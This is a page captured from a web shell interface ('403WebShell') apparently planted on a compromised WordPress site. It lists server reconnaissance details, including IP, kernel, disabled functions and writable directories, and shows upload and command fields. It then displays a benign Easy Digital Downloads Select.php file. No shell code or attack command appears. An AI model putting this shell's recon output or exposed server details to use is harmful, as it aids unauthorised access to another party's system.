Warning: chmod(): No such file or directory in /www/wwwroot/scuipturepactory.com/wp-content/mu-plugins/worksec.php on line 7
Uname:Linux iZt4n9czhka2zvqfajdlr2Z 6.8.0-63-generic #66-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:25:30 UTC 2025 x86_64

Base Dir : /www/wwwroot/scuipturepactory.com

User : www


403WebShell
403Webshell
Server IP : 47.82.179.145  /  Your IP : 216.73.217.129
Web Server : nginx/1.26.3
System : Linux iZt4n9czhka2zvqfajdlr2Z 6.8.0-63-generic #66-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:25:30 UTC 2025 x86_64
User : www ( 1001)
PHP Version : 8.3.30
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/scuipturepactory.com/wp-content/plugins.off/easy-digital-downloads/src/HTML/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/scuipturepactory.com/wp-content/plugins.off/easy-digital-downloads/src/HTML/Select.php
<?php
/**
 * Select HTML Element
 *
 * @package EDD
 * @subpackage HTML
 * @since 3.2.8
 */

namespace EDD\HTML;

defined( 'ABSPATH' ) || exit;

/**
 * Class Select
 *
 * @since 3.2.8
 * @package EDD\HTML
 */
class Select extends Base {

	/**
	 * Gets the HTML for the select.
	 *
	 * @since 3.2.8
	 * @return string
	 */
	public function get() {
		$this->maybe_update_selected();
		ob_start();
		?>
		<select
			<?php
			if ( ! empty( $this->args['disabled'] ) ) {
				?>
				disabled
				<?php
			}
			if ( ! empty( $this->args['readonly'] ) ) {
				?>
				readonly
				<?php
			}
			if ( ! empty( $this->args['required'] ) ) {
				?>
				required
				<?php
			}
			if ( ! empty( $this->args['autocomplete'] ) ) {
				?>
				autocomplete="<?php echo esc_attr( $this->args['autocomplete'] ); ?>"
				<?php
			}
			?>
			name="<?php echo esc_attr( $this->args['name'] ); ?>"
			id="<?php echo esc_attr( str_replace( '-', '_', $this->args['id'] ) ); ?>"
			class="<?php echo esc_attr( $this->get_css_class_string() ); ?>"
			<?php if ( $this->args['multiple'] ) : ?>
				multiple
			<?php endif; ?>
			<?php echo $this->get_data_elements(); ?>
		>
			<?php
			if ( ! empty( $this->args['show_option_empty'] ) ) {
				$empty_option = array_search( '', $this->args['options'], true );
				if ( false !== $empty_option ) {
					unset( $this->args['options'][ $empty_option ] );
				}
				?>
				<option value="">
					<?php echo esc_html( $this->args['show_option_empty'] ); ?>
				</option>
				<?php
			} elseif ( ! empty( $this->args['show_option_all'] ) ) {
				?>
				<option value="all"<?php echo $this->is_selected( 0 ) ? ' selected' : ''; ?>>
					<?php echo esc_html( $this->args['show_option_all'] ); ?>
				</option>
				<?php
			}

			if ( ! empty( $this->args['options'] ) ) {
				if ( $this->args['show_option_none'] ) {
					?>
					<option value="-1"<?php echo $this->is_selected( -1 ) ? ' selected' : ''; ?>>
						<?php echo esc_html( $this->args['show_option_none'] ); ?>
					</option>
					<?php
				}

				foreach ( $this->args['options'] as $key => $option ) {
					if ( is_array( $option ) ) {
						$disabled = isset( $option['disabled'] ) ? $option['disabled'] : false;
						$option   = $option['label'];
					} else {
						$disabled = false;
					}

					$selected = $this->is_selected( $key ) ? ' selected' : '';
					$disabled = $disabled ? ' disabled' : '';
					?>
					<option value="<?php echo esc_attr( $key ); ?>"<?php echo $selected; ?><?php echo $disabled; ?>>
						<?php echo esc_html( $option ); ?>
					</option>
					<?php
				}
			}
			?>
		</select>
		<?php

		return ob_get_clean();
	}

	/**
	 * Parses the arguments for the select.
	 *
	 * @since 3.2.8
	 * @return array
	 */
	protected function defaults() {
		return array(
			'options'           => array(),
			'name'              => null,
			'class'             => '',
			'id'                => '',
			'selected'          => 0,
			'chosen'            => false,
			'placeholder'       => null,
			'multiple'          => false,
			'show_option_all'   => _x( 'All', 'all dropdown items', 'easy-digital-downloads' ),
			'show_option_none'  => _x( 'None', 'no dropdown items', 'easy-digital-downloads' ),
			'data'              => array(),
			'readonly'          => false,
			'disabled'          => false,
			'required'          => false,
			'show_option_empty' => false,
			'autocomplete'      => '',
		);
	}

	/**
	 * Gets the base CSS classes for the select element.
	 *
	 * @since 3.2.8
	 * @return array
	 */
	protected function get_base_classes(): array {
		$base_classes = array(
			'edd-select',
		);
		if ( $this->args['chosen'] ) {
			$base_classes[] = 'edd-select-chosen';
			if ( is_rtl() ) {
				$base_classes[] = ' chosen-rtl';
			}
		}

		return $base_classes;
	}

	/**
	 * Checks if the value is selected.
	 *
	 * @since 3.2.8
	 * @param string|int $value The value to check. This could be a string or an integer.
	 * @return bool
	 */
	private function is_selected( $value ) {
		if ( $this->args['multiple'] ) {
			return selected( true, in_array( (string) $value, $this->args['selected'], true ), false );
		}

		if ( ( ! empty( $this->args['selected'] ) || is_numeric( $this->args['selected'] ) ) && ! is_array( $this->args['selected'] ) ) {
			return selected( $this->args['selected'], $value, false );
		}

		return false;
	}

	/**
	 * Updates the selected value. If the select is a multiple select, the selected value will be an array of strings.
	 * This is only for comparison purposes.
	 *
	 * @since 3.2.10
	 * @return void
	 */
	private function maybe_update_selected() {
		if ( $this->args['multiple'] || is_array( $this->args['selected'] ) ) {
			$this->args['selected'] = array_map( 'strval', (array) $this->args['selected'] );
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit